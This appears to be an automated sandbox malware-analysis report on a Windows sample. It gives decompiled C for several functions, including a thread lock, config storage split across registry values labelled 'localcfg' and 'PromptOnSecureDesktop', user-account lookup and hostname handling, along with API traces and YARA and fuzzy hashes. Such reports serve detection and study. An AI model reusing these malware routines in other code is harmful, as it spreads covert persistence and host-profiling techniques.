Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: File$HandleModulewsprintf$CharCloseCreateExecuteNamePathShellTempWritelstrlen
String ID: PromptOnSecureDesktop
API String ID: 3857584221-2980165447
Opcode ID: 69a42f15c0bdb603acf61cfacf6d4b07552c73bbecf68ccfe74a45dc0564b67a
Instruction ID: 6acb945c628b875356ea86accac8c7b18cb61426f44bb7d0566a1afba52fbd3a
Opcode Fuzzy Hash: 69a42f15c0bdb603acf61cfacf6d4b07552c73bbecf68ccfe74a45dc0564b67a
Instruction Fuzzy Hash: 8F016DB69001187BD720A7619D49EDF3A7C9B85705F0000A6BB09E2080DAB89AC48F68

Uniqueness

Uniqueness Score: -1.00%

Function 02F0AA11, Relevance: 9.2, APIs: 4, Strings: 2, Instructions: 247stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?), ref: 02F0AACE

Strings

localcfg, xrefs: 02F0AD5B
, xrefs: 02F0AB9C

Memory Dump Source

Source File: 0000001E.00000002.429884225.0000000002F00000.00000040.00000001.sdmp, Offset: 02F00000, based on PE: false

Yara matches

Similarity

API ID: lstrlen
String ID: $localcfg
API String ID: 1659193697-2018645984
Opcode ID: e25caa720acfe6edeb1ed6cfdeeca69567da959aa4b90cf3eb174d19221d8523
Instruction ID: c664b7c2e6f5fee3055257a8b700cf0f8c70304cfa49ebc35ac989bf35adfb66
Opcode Fuzzy Hash: e25caa720acfe6edeb1ed6cfdeeca69567da959aa4b90cf3eb174d19221d8523
Instruction Fuzzy Hash: 45713972E40305BADF318B98DCC5FEE776AAB007C9F144066FB06A20D0DF718984AB19

Uniqueness

Uniqueness Score: -1.00%

Function 0040E8A1, Relevance: 9.2, APIs: 4, Strings: 2, Instructions: 172
stringCOMMON

Download Yara Rule

C-Code - Quality: 98%

			E0040E8A1(void* __edx, char _a4, CHAR* _a8, CHAR* _a12, CHAR* _a16) {
				CHAR* _v8;
				signed int _v12;
				intOrPtr _v16;
				CHAR* _v20;
				intOrPtr _v24;
				CHAR* _v28;
				CHAR* _v32;
				intOrPtr _v36;
				char _v37;
				char _v52;
				char _v56;
				intOrPtr _t87;
				intOrPtr _t95;
				int _t126;
				void* _t136;
				void* _t138;
				CHAR* _t139;
				void* _t146;
				char _t150;
				void* _t154;
				void* _t158;
				void* _t159;

				_t146 = __edx;
				_v20 = 0;
				E0040DD05();
				_t150 = _a4;
				_t158 = E0040DD84(_t150, _a8);
				_pop(_t138);
				if(_t158 != 0) {
					L2:
					_t16 = _t158 + 0x30; // 0x30
					_v8 = E00402419(_t138, _t16,  *((intOrPtr*)(_t158 + 0x24)), _a12);
					_t21 = lstrlenA(_a12) + 1; // 0x1
					_t136 = _t21;
					_t87 = lstrlenA(_a16) + _t136 + 1;
					_v16 = _t87;
					if(_v8 == 0) {
						_t139 =  *((intOrPtr*)(_t158 + 0x24));
						_v12 = _v12 & 0x00000000;
						_v8 = _t139;
						_t152 = _t139;
					} else {
						_t126 = lstrlenA(_v8);
						_t152 = _v8 - _t136 - _t158 + 0xffffffd0;
						_v12 = _t126 + _t136 + 1;
						_t87 = _v16;
						_v8 = _v8 - _t136 - _t158 + 0xffffffd0;
					}
					if(_v12 == _t87) {
						E0040EE08(_t152 + _t158 + 0x30, _a12, _t136);
						E0040EE08(_t152 + _t136 + _t158 + 0x30, _a16, _v16 - _t136);
						_t77 = _t158 + 0x30; // 0x30
						_t95 = E004024C2(_t77,  *((intOrPtr*)(_t158 + 0x24)), 0);
						if( *((intOrPtr*)(_t158 + 0x20)) != _t95) {
							 *((intOrPtr*)(_t158 + 0x20)) = _t95;
							 *0x4136c0 = 1;
						}
					} else {
						_t41 = _t87 + 0x24; // 0x24
						_t154 = E0040EBCC( *((intOrPtr*)(_t158 + 0x24)) - _v12 + _t41);
						if(_t154 != 0) {
							_t43 = _t158 + 0xc; // 0xc
							E0040EE08(_t154, _t43,  &(_v8[0x24]));
							 *((intOrPtr*)(_t154 + 0x18)) =  *((intOrPtr*)(_t158 + 0x24)) - _v12 + _v16;
							_v20 =  &(_v8[_t154]);
							E0040EE08( &(( &(_v8[_t154]))[0x24]), _a12, _t136);
							E0040EE08( &(_v20[_t136 + 0x24]), _a16, _v16 - _t136);
							E0040EE08( &(_v20[_v16 + 0x24]),  &(( &(_v8[_v12]))[_t158 + 0x30]),  *((intOrPtr*)(_t158 + 0x24)) - _v8 - _v12);
							_t66 = _t154 + 0x24; // 0x24
							 *((intOrPtr*)(_t154 + 0x14)) = E004024C2(_t66,  *((intOrPtr*)(_t154 + 0x18)), 0);
							E0040DF4C( *((intOrPtr*)(_t158 + 0x24)) - _v8 - _v12, _t154);
							E0040EC2E(_t154);
							_v20 = 1;
						}
					}
					L10:
					E0040DD69();
					return _v20;
				}
				_v56 = _t150;
				_v28 = 0;
				_v24 = 3;
				lstrcpynA( &_v52, _a8, 0x10);
				_v37 = 0;
				_v32 = 0;
				_v36 = E004024C2( &_v20, 0, 0);
				E0040DF4C(_t146,  &_v56);
				_t158 = E0040DD84(_t150, _a8);
				_t159 = _t159 + 0x18;
				if(_t158 == 0) {
					goto L10;
				}
				goto L2;
			}

0x0040e8a1
0x0040e8ac
0x0040e8af
0x0040e8b7
0x0040e8c0
0x0040e8c3
0x0040e8c6
0x0040e917
0x0040e91a
0x0040e932
0x0040e93a
0x0040e93a
0x0040e943
0x0040e947
0x0040e94a
0x0040e96a
0x0040e96d
0x0040e971
0x0040e974
0x0040e94c
0x0040e94f
0x0040e95c
0x0040e95f
0x0040e962
0x0040e965
0x0040e965
0x0040e979
0x0040ea3a
0x0040ea4f
0x0040ea59
0x0040ea5d
0x0040ea68
0x0040ea6a
0x0040ea6d
0x0040ea6d
0x0040e97f
0x0040e985
0x0040e98f
0x0040e994
0x0040e9a1
0x0040e9a6
0x0040e9b8
0x0040e9c0
0x0040e9c7
0x0040e9dd
0x0040ea02
0x0040ea0c
0x0040ea16
0x0040ea19
0x0040ea22
0x0040ea28
0x0040ea28
0x0040e994
0x0040ea77
0x0040ea77
0x0040ea83
0x0040ea83
0x0040e8d1
0x0040e8d4
0x0040e8d7
0x0040e8de
0x0040e8ea
0x0040e8ed
0x0040e8f5
0x0040e8fc
0x0040e90a
0x0040e90c
0x0040e911
0x00000000
0x00000000
0x00000000

APIs

Part of subcall function 0040DD05: GetTickCount.KERNEL32 ref: 0040DD0F
Part of subcall function 0040DD05: InterlockedExchange.KERNEL32(004136B4,00000001), ref: 0040DD44
Part of subcall function 0040DD05: GetCurrentThreadId.KERNEL32 ref: 0040DD53

Part of subcall function 0040DD84: lstrcmpiA.KERNEL32(80000011,00000000,00000108,80000001,00000000,0040DE62,80000001,80000005,00000108,00000000,000000E4,00000000,?,0040E3A7,000000F0), ref: 0040DDB5

lstrcpynA.KERNEL32(?,00401E84,00000010,localcfg,?,flags_upd,?,?,?,?,?,0040EAAA,?,?), ref: 0040E8DE
lstrlenA.KERNEL32(?,localcfg,?,flags_upd,?,?,?,?,?,0040EAAA,?,?,00000001,?,00401E84,?), ref: 0040E935
lstrlenA.KERNEL32(00000001,?,?,?,?,?,0040EAAA,?,?,00000001,?,00401E84,?,0000000A), ref: 0040E93D
lstrlenA.KERNEL32(00000000,?,?,?,?,?,0040EAAA,?,?,00000001,?,00401E84,?), ref: 0040E94F

Strings

flags_upd, xrefs: 0040E8A7
localcfg, xrefs: 0040E8AB

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: lstrlen$CountCurrentExchangeInterlockedThreadTicklstrcmpilstrcpyn
String ID: flags_upd$localcfg
API String ID: 204374128-3505511081
Opcode ID: c6eba37fb7dc573b902b8468fe53fe4af5ed31742a186523ccc7092e3b026224
Instruction ID: 4a5a107d8aad74d0ab91cd578fe54778089971c235e688b3f19fdb3cdc8cf470
Opcode Fuzzy Hash: c6eba37fb7dc573b902b8468fe53fe4af5ed31742a186523ccc7092e3b026224
Instruction Fuzzy Hash: A5514F7290020AAFCB00EFE9C985DAEBBF9BF48308F14452EE405B3251D779EA548B54

Uniqueness

Uniqueness Score: -1.00%

Function 02F0E8A4, Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 96stringCOMMON

Download Yara Rule

APIs

Part of subcall function 02F0DF55: GetCurrentThreadId.KERNEL32 ref: 02F0DFA3

lstrcmp.KERNEL32(00410178,00000000), ref: 02F0E8E3
lstrcpyn.KERNEL32(00000008,00000000,0000000F,?,00410170,00000000,?,02F06111), ref: 02F0E939
lstrcmp.KERNEL32(?,00000008), ref: 02F0E972

Strings

A, xrefs: 02F0E8AF, 02F0E8B6, 02F0E91F, 02F0E981
A, xrefs: 02F0E989
A, xrefs: 02F0E949, 02F0E94E

Memory Dump Source

Source File: 0000001E.00000002.429884225.0000000002F00000.00000040.00000001.sdmp, Offset: 02F00000, based on PE: false

Yara matches

Similarity

API ID: lstrcmp$CurrentThreadlstrcpyn
String ID: A$ A$ A
API String ID: 2920362961-1846390581
Opcode ID: 22b7ec265cbf58d9e118b1c9ae896798d4c4cc7fc0edb460ff72d5a9b3fd5feb
Instruction ID: 31409670dcad0149a62333ecd23fc9a29cfde65819f2df4480f701629f4ea2c2
Opcode Fuzzy Hash: 22b7ec265cbf58d9e118b1c9ae896798d4c4cc7fc0edb460ff72d5a9b3fd5feb
Instruction Fuzzy Hash: 7D31AD32E04706DFCB318F64D8C4B967BE5EB053A4F14892AE795876D0E770E884EB85

Uniqueness

Uniqueness Score: -1.00%

Function 02F06DF7, Relevance: 9.1, APIs: 6, Instructions: 84COMMON

Download Yara Rule

APIs

IsBadCodePtr.KERNEL32 ref: 02F06E02

Memory Dump Source

Source File: 0000001E.00000002.429884225.0000000002F00000.00000040.00000001.sdmp, Offset: 02F00000, based on PE: false

Yara matches

Similarity

API ID: Code
String ID:
API String ID: 3609698214-0
Opcode ID: dbd61df3ebb78cc6fa2ed7637639bc7d17aa9fbedb66480432ceb7f56d018bc4
Instruction ID: fa873b561f95985c422e169adff367b1aa83f7249578cd8f4142f635cd8de1b8
Opcode Fuzzy Hash: dbd61df3ebb78cc6fa2ed7637639bc7d17aa9fbedb66480432ceb7f56d018bc4
Instruction Fuzzy Hash: D1218172604205FFDB105BA0FC88EDF7FADDB486E4B118425F602D10E0EB70CA50A678

Uniqueness

Uniqueness Score: -1.00%

Function 0040DD05, Relevance: 9.0, APIs: 6, Instructions: 34
threadsleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040DD05() {
				long _t4;
				long _t10;

				_t10 = GetTickCount();
				while(InterlockedExchange(0x4136b4, 1) != 0) {
					if(GetCurrentThreadId() !=  *0x4136b8) {
						if(GetTickCount() - _t10 >= 0x2710) {
							 *0x4136bc =  *0x4136bc & 0x00000000;
						} else {
							Sleep(0);
							continue;
						}
					}
					L7:
					_t4 = GetCurrentThreadId();
					 *0x4136bc =  *0x4136bc + 1;
					 *0x4136b8 = _t4;
					return _t4;
				}
				goto L7;
			}

0x0040dd17
0x0040dd41
0x0040dd2c
0x0040dd37
0x0040dd4c
0x0040dd39
0x0040dd3b
0x00000000
0x0040dd3b
0x0040dd37
0x0040dd53
0x0040dd53
0x0040dd59
0x0040dd62
0x0040dd68
0x0040dd68
0x00000000

APIs

GetTickCount.KERNEL32 ref: 0040DD0F
GetCurrentThreadId.KERNEL32 ref: 0040DD20
GetTickCount.KERNEL32 ref: 0040DD2E
Sleep.KERNEL32(00000000,?,74B043E0,?,00000000,0040E538,?,74B043E0,?,00000000,?,0040A445), ref: 0040DD3B
InterlockedExchange.KERNEL32(004136B4,00000001), ref: 0040DD44
GetCurrentThreadId.KERNEL32 ref: 0040DD53

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CountCurrentThreadTick$ExchangeInterlockedSleep
String ID:
API String ID: 3819781495-0
Opcode ID: 00222842cf4b27377529e63430db8cbc0b0fb89ac28641eb4cfa7891be51bad4
Instruction ID: 5047c4a85d7ce053583ecb6bfb553561e79882e3d1eaa06aec664d00f8baf4e0
Opcode Fuzzy Hash: 00222842cf4b27377529e63430db8cbc0b0fb89ac28641eb4cfa7891be51bad4
Instruction Fuzzy Hash: 1AF0E971604204AFD7505FA5BC84BB53FA4EB48353F008077E109D22A8C77455898F2E

Uniqueness

Uniqueness Score: -1.00%

Function 02F0C52C, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 182threadCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 02F0C69D
InterlockedIncrement.KERNEL32(02F0C734), ref: 02F0C6FE
CreateThread.KERNEL32(00000000,00000000,0040B535,00000000,?,02F0C730), ref: 02F0C711
CloseHandle.KERNEL32(00000000,?,02F0C730,00413588,02F08A60), ref: 02F0C71C

Strings

localcfg, xrefs: 02F0C52D

Memory Dump Source

Source File: 0000001E.00000002.429884225.0000000002F00000.00000040.00000001.sdmp, Offset: 02F00000, based on PE: false

Yara matches

Similarity

API ID: CloseCountCreateHandleIncrementInterlockedThreadTick
String ID: localcfg
API String ID: 1026198776-1857712256
Opcode ID: 7930164416072ce379d69f2024e67a12fb5078e265013c4e4f79f9c65834da75
Instruction ID: 2022839a2882bacba515368278a22b0619f953491fc2b77a638a0b198927f767
Opcode Fuzzy Hash: 7930164416072ce379d69f2024e67a12fb5078e265013c4e4f79f9c65834da75
Instruction Fuzzy Hash: 3A5118B1A00B458FD7349F69C9C462ABBE9FB48344B505A3EE28BC7A90D775E844DF10

Uniqueness

Uniqueness Score: -1.00%

Function 004080C9, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 146
registryCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E004080C9(int* __ecx) {
				int _v8;
				void* _v12;
				int _v16;
				char _v20;
				char _v52;
				char _v312;
				void* _t27;
				void* _t31;
				char* _t35;
				char* _t42;
				char* _t45;
				intOrPtr* _t49;
				intOrPtr _t52;
				intOrPtr _t57;
				void* _t60;
				intOrPtr _t63;
				void* _t65;
				void* _t68;
				CHAR _t70;
				intOrPtr _t71;

				_t56 = __ecx;
				_v8 = 0;
				 *0x412c3c = 0;
				 *0x412c38 = 0;
				if(E00406EC3() != 0) {
					_t27 = E0040704C(0x410264, 0, 0,  &_v312,  &_v52);
					_t65 = _t65 + 0x14;
					if(_t27 <= 0 || _v312 == 0 || _v52 == 0) {
						goto L20;
					} else {
						_t35 = E00402544(0x4122f8,  &E004106AC, 0x2e, 0xe4, 0xc8);
						_t68 = _t65 + 0x14;
						if(RegOpenKeyExA(0x80000001, _t35, 0, 0x101,  &_v12) != 0) {
							L19:
							E0040EE2A(_t56, 0x4122f8, 0, 0x100);
							_t65 = _t68 + 0xc;
							goto L20;
						}
						if(RegQueryValueExA(_v12,  &_v312, 0,  &_v16, 0,  &_v8) != 0 || _v16 != 1 || _v8 <= 0) {
							L15:
							_t42 =  *0x412c3c; // 0x0
							if(_t42 == 0) {
								goto L18;
							}
							E0040EC2E(_t42);
							 *0x412c3c = 0;
							goto L17;
						} else {
							_t45 = E0040EBCC(_v8);
							_pop(_t56);
							 *0x412c3c = _t45;
							if(_t45 == 0) {
								L18:
								RegCloseKey(_v12);
								goto L19;
							}
							_t56 =  &_v8;
							if(RegQueryValueExA(_v12,  &_v312, 0,  &_v16, _t45,  &_v8) != 0) {
								goto L15;
							}
							_t49 =  &_v312;
							_t60 = _t49 + 1;
							do {
								_t57 =  *_t49;
								_t49 = _t49 + 1;
							} while (_t57 != 0);
							_t52 = E0040EBCC(_t49 - _t60 + 1);
							_pop(_t56);
							 *0x412c38 = _t52;
							if(_t52 == 0) {
								goto L18;
							}
							E0040EF00(_t52,  &_v312);
							L17:
							_pop(_t56);
							goto L18;
						}
					}
				} else {
					E00407EE6(_t56);
					L20:
					_t70 =  *0x4121a8; // 0x0
					if(_t70 != 0) {
						_t71 =  *0x4121a4; // 0x0
						if(_t71 == 0) {
							_t31 = E0040675C(0x4121a8,  &_v20, 0);
							_t61 = _t31;
							if(_t31 != 0) {
								_t63 = _v20;
								 *0x4122d4 = E004024C2(_t61, _t63, 0);
								 *0x4121a4 = _t63;
								E0040EC2E(_t61);
							}
						}
					}
					return 1;
				}
			}

0x004080c9
0x004080d7
0x004080da
0x004080e0
0x004080ed
0x0040810b
0x00408110
0x00408115
0x00000000
0x00408130
0x00408151
0x00408156
0x00408167
0x00408216
0x0040821d
0x00408222
0x00000000
0x00408222
0x0040818b
0x004081f7
0x004081f7
0x004081fe
0x00000000
0x00000000
0x00408201
0x00408206
0x00000000
0x00408198
0x0040819b
0x004081a0
0x004081a1
0x004081a8
0x0040820d
0x00408210
0x00000000
0x00408210
0x004081aa
0x004081c2
0x00000000
0x00000000
0x004081c4
0x004081ca
0x004081cd
0x004081cd
0x004081cf
0x004081d0
0x004081d8
0x004081dd
0x004081de
0x004081e5
0x00000000
0x00000000
0x004081ef
0x0040820c
0x0040820c
0x00000000
0x0040820c
0x0040818b
0x004080ef
0x004080ef
0x00408225
0x00408225
0x0040822b
0x0040822d
0x00408233
0x0040823f
0x00408244
0x0040824b
0x0040824d
0x00408259
0x0040825e
0x00408264
0x00408269
0x0040824b
0x00408233
0x00408273
0x00408273

APIs

RegOpenKeyExA.ADVAPI32(80000001,00000000,?,?,00000000,00000101,?,?,?,?,74B043E0,00000000), ref: 0040815F
RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,0040A45F,?,?,00000000,00000101,?,?,?,?,74B043E0,00000000), ref: 00408187
RegQueryValueExA.ADVAPI32(?,?,00000000,00000001,00000000,0040A45F,?,?,00000000,00000101,?,?,?,?,74B043E0,00000000), ref: 004081BE
RegCloseKey.ADVAPI32(?,?,?,00000000,00000101,?,?,?,?,74B043E0,00000000), ref: 00408210

Part of subcall function 0040675C: SetFileAttributesA.KERNEL32(?,00000080,?,74B043E0,00000000), ref: 0040677E
Part of subcall function 0040675C: CreateFileA.KERNELBASE(?,80000000,00000003,00000000,00000003,00000080,00000000,?,74B043E0,00000000), ref: 0040679A
Part of subcall function 0040675C: CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000004,00000000,?,74B043E0,00000000), ref: 004067B0
Part of subcall function 0040675C: SetFileAttributesA.KERNEL32(?,00000002,?,74B043E0,00000000), ref: 004067BF
Part of subcall function 0040675C: GetFileSize.KERNEL32(000000FF,00000000,?,74B043E0,00000000), ref: 004067D3
Part of subcall function 0040675C: ReadFile.KERNELBASE(000000FF,?,00000040,00408244,00000000,?,74B043E0,00000000), ref: 00406807
Part of subcall function 0040675C: SetFilePointer.KERNELBASE(000000FF,?,00000000,00000000,?,74B043E0,00000000), ref: 0040681F
Part of subcall function 0040675C: ReadFile.KERNELBASE(000000FF,?,000000F8,?,00000000,?,74B043E0,00000000), ref: 0040683E
Part of subcall function 0040675C: SetFilePointer.KERNELBASE(000000FF,?,00000000,00000000,?,74B043E0,00000000), ref: 0040685C

Part of subcall function 0040EC2E: GetProcessHeap.KERNEL32(00000000,'@,00000000,0040EA27,00000000), ref: 0040EC41
Part of subcall function 0040EC2E: RtlFreeHeap.NTDLL(00000000), ref: 0040EC48

Strings

PromptOnSecureDesktop, xrefs: 0040814B, 00408150, 0040821C

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: File$AttributesCreateHeapPointerQueryReadValue$CloseFreeOpenProcessSize
String ID: PromptOnSecureDesktop
API String ID: 124786226-2980165447
Opcode ID: c941890c44e839f0a8dddd614c4b7b1c93a0ecccb947db91b13706d71f6772f1
Instruction ID: c6ff5cc28a73505882571aaa3479db7aabb841166acb9389a4089cab67cb233b
Opcode Fuzzy Hash: c941890c44e839f0a8dddd614c4b7b1c93a0ecccb947db91b13706d71f6772f1
Instruction Fuzzy Hash: 6641A2B1801109BFEB10EBA19E81DEF777CDB04304F1448BFF545F2182EAB85A948B59

Uniqueness

Uniqueness Score: -1.00%

Function 02F0E2E5, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 92registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32(80000001,02F0E4F3,00000000,00000000,00000000,00020106,00000000,02F0E4F3,00000000,000000E4), ref: 02F0E302
RegSetValueExA.ADVAPI32(02F0E4F3,?,00000000,00000003,80000001,000FF000,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 02F0E377
RegDeleteValueA.ADVAPI32(02F0E4F3,?,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 02F0E3A8
RegCloseKey.ADVAPI32(02F0E4F3,?,?,?,?,000000C8,PromptOnSecureDesktop,?,?,?,?,?,?,?,?,02F0E4F3), ref: 02F0E3B1

Strings

PromptOnSecureDesktop, xrefs: 02F0E323

Memory Dump Source

Source File: 0000001E.00000002.429884225.0000000002F00000.00000040.00000001.sdmp, Offset: 02F00000, based on PE: false

Yara matches

Similarity

API ID: Value$CloseCreateDelete
String ID: PromptOnSecureDesktop
API String ID: 2667537340-2980165447
Opcode ID: 71be46fcf4b4c1b855c56a8beb8c548cd5d416d4e28516e03566d8543fb954ad
Instruction ID: 2d89df2aa097f5ca975bcf8e5703ddceecce36194d2f195144f8b390b06a914e
Opcode Fuzzy Hash: 71be46fcf4b4c1b855c56a8beb8c548cd5d416d4e28516e03566d8543fb954ad
Instruction Fuzzy Hash: E9214F71E0021DABDF209FA4ED85EDE7F79EF09790F048461FA04A6190E7718A54DB90

Uniqueness

Uniqueness Score: -1.00%

Function 0040E095, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 92
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040E095(void* _a4, char* _a8, intOrPtr* _a12, char* _a16, int _a20) {
				int _v8;
				char* _v12;
				void* _v16;
				char _v48;
				intOrPtr* _t34;
				int _t50;
				void* _t52;
				intOrPtr _t53;
				int _t57;
				int _t58;
				void* _t59;
				void* _t60;
				void* _t61;

				_t57 = 0;
				if(RegCreateKeyExA(_a4, _a8, 0, 0, 0, 0x20106, 0,  &_v16, 0) != 0) {
					return 0;
				}
				_v12 = _a16;
				_t34 = _a12;
				_t52 = _t34 + 1;
				do {
					_t53 =  *_t34;
					_t34 = _t34 + 1;
				} while (_t53 != 0);
				_t55 = _t34 - _t52;
				_v8 = 0;
				if(_t34 - _t52 > 0x1c) {
					_t55 = 0x1c;
				}
				E0040EE08( &_v48, _a12, _t55);
				_t50 = _a20;
				_t61 = _t60 + 0xc;
				if(_t50 <= _t57) {
					L11:
					E0040F1ED(_v8, _t59 + _t55 - 0x2c, 0xa);
					RegDeleteValueA(_v16,  &_v48);
					RegCloseKey(_v16);
					return 0 | _t50 == _t57;
				} else {
					while(1) {
						_t58 = 0xff000;
						if(_t50 < 0xff000) {
							_t58 = _t50;
						}
						E0040F1ED(_v8, _t59 + _t55 - 0x2c, 0xa);
						_t61 = _t61 + 0xc;
						if(RegSetValueExA(_v16,  &_v48, 0, 3, _v12, _t58) != 0) {
							break;
						}
						_v12 =  &(_v12[_t58]);
						_t50 = _t50 - _t58;
						_v8 = _v8 + 1;
						if(_t50 > 0) {
							continue;
						}
						break;
					}
					_t57 = 0;
					goto L11;
				}
			}

0x0040e09c
0x0040e0ba
0x00000000
0x0040e172
0x0040e0c3
0x0040e0c6
0x0040e0c9
0x0040e0cc
0x0040e0cc
0x0040e0ce
0x0040e0cf
0x0040e0d7
0x0040e0d9
0x0040e0df
0x0040e0e3
0x0040e0e3
0x0040e0ec
0x0040e0f1
0x0040e0f4
0x0040e0f9
0x0040e13f
0x0040e149
0x0040e158
0x0040e161
0x00000000
0x0040e0fb
0x0040e0fb
0x0040e0fb
0x0040e102
0x0040e104
0x0040e104
0x0040e110
0x0040e115
0x0040e12f
0x00000000
0x00000000
0x0040e131
0x0040e134
0x0040e136
0x0040e13b
0x00000000
0x00000000
0x00000000
0x0040e13b
0x0040e13d
0x00000000
0x0040e13d

APIs

RegCreateKeyExA.ADVAPI32(80000001,0040E2A3,00000000,00000000,00000000,00020106,00000000,0040E2A3,00000000,000000E4), ref: 0040E0B2
RegSetValueExA.ADVAPI32(0040E2A3,?,00000000,00000003,80000001,000FF000,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 0040E127
RegDeleteValueA.ADVAPI32(0040E2A3,?,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 0040E158
RegCloseKey.ADVAPI32(0040E2A3,?,?,?,?,000000C8,PromptOnSecureDesktop,?,?,?,?,?,?,?,?,0040E2A3), ref: 0040E161

Strings

PromptOnSecureDesktop, xrefs: 0040E0D3

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Value$CloseCreateDelete
String ID: PromptOnSecureDesktop
API String ID: 2667537340-2980165447
Opcode ID: 72ec9626f1a57597f212d5c6e724b1b36c6131d7c0d684d5184da94b21603b05
Instruction ID: af4a942e7328ea1ce2cdf979f73f75556816175b5134196b99f0fb832a21e1c2
Opcode Fuzzy Hash: 72ec9626f1a57597f212d5c6e724b1b36c6131d7c0d684d5184da94b21603b05
Instruction Fuzzy Hash: 2F218071A00219BBDF209FA6EC89EDF7F79EF08754F008072F904A6190E6718A64DB94

Uniqueness

Uniqueness Score: -1.00%

Function 02F071AF, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 89COMMON

Download Yara Rule

APIs

GetUserNameA.ADVAPI32(?,?), ref: 02F071CA
LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 02F07211
LocalFree.KERNEL32(?,?,?), ref: 02F0726F
wsprintfA.USER32 ref: 02F07286

Strings

|, xrefs: 02F07203

Memory Dump Source

Source File: 0000001E.00000002.429884225.0000000002F00000.00000040.00000001.sdmp, Offset: 02F00000, based on PE: false

Yara matches

Similarity

API ID: Name$AccountFreeLocalLookupUserwsprintf
String ID: |
API String ID: 2539190677-2343686810
Opcode ID: 0c0665c49b02975d3cb655efb4674a53369201e8279effc4896e63a6fe97e42a
Instruction ID: 10156a1cfeece79502a83b6d8ff356b8e0ea217abf99382fe7df36cb97e7b442
Opcode Fuzzy Hash: 0c0665c49b02975d3cb655efb4674a53369201e8279effc4896e63a6fe97e42a
Instruction Fuzzy Hash: CB312B72A00108BBDB11DFA4DC84BDA7BA8EF08394F048166B959DB150DB74E648CF94

Uniqueness

Uniqueness Score: -1.00%

Function 0040AD08, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55
stringnetworkCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040AD08(CHAR* _a4) {
				char _v132;
				int _t9;
				char _t11;
				intOrPtr* _t12;
				CHAR* _t13;
				CHAR* _t14;

				_t9 = gethostname( &_v132, 0x80);
				if(_t9 != 0) {
					_t14 = _a4;
					L15:
					if( *_t14 != 0) {
						return _t9;
					}
					return lstrcpyA(_t14, "LocalHost");
				}
				_t13 = _a4;
				_t11 = _v132;
				_t12 =  &_v132;
				_t14 = _t13;
				while(_t11 != 0) {
					if(_t11 < 0x61 || _t11 > 0x7a) {
						if(_t11 < 0x41 || _t11 > 0x5a) {
							if(_t11 < 0x30 || _t11 > 0x39) {
								if(_t11 != 0x2e) {
									goto L10;
								}
							}
						}
						goto L9;
					} else {
						L9:
						 *_t13 = _t11;
						_t13 =  &(_t13[1]);
						L10:
						_t12 = _t12 + 1;
						_t11 =  *_t12;
						continue;
					}
				}
				_t9 = lstrlenA(_t14);
				if(_t14[_t9] == 0x2e) {
					_t9 = lstrlenA(_t14);
					_t14[_t9] = 0;
				}
				goto L15;
			}

0x0040ad1c
0x0040ad24
0x0040ad71
0x0040ad74
0x0040ad77
0x0040ad88
0x0040ad88
0x00000000
0x0040ad7f
0x0040ad26
0x0040ad29
0x0040ad2c
0x0040ad2f
0x0040ad55
0x0040ad35
0x0040ad3d
0x0040ad45
0x0040ad4d
0x00000000
0x00000000
0x0040ad4d
0x0040ad45
0x00000000
0x0040ad4f
0x0040ad4f
0x0040ad4f
0x0040ad51
0x0040ad52
0x0040ad52
0x0040ad53
0x00000000
0x0040ad53
0x0040ad35
0x0040ad60
0x0040ad66
0x0040ad69
0x0040ad6b
0x0040ad6b
0x00000000

APIs

gethostname.WS2_32(?,00000080), ref: 0040AD1C
lstrlenA.KERNEL32(00000000), ref: 0040AD60
lstrlenA.KERNEL32(00000000), ref: 0040AD69
lstrcpyA.KERNEL32(00000000,LocalHost), ref: 0040AD7F

Strings

LocalHost, xrefs: 0040AD79

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: lstrlen$gethostnamelstrcpy
String ID: LocalHost
API String ID: 3695455745-3154191806
Opcode ID: 8a17093f3d26383e77935b758fdadb31e519a4398e40a43d70c627834661f375
Instruction ID: 5e983dddb47fd7e780230f110e9d304ee880480ae48faa8370a3fb9af9ed59c3
Opcode Fuzzy Hash: 8a17093f3d26383e77935b758fdadb31e519a4398e40a43d70c627834661f375
Instruction Fuzzy Hash: FA0149208443895EDF3107289844BEA3F675F9670AF104077E4C0BB692E77C8893835F

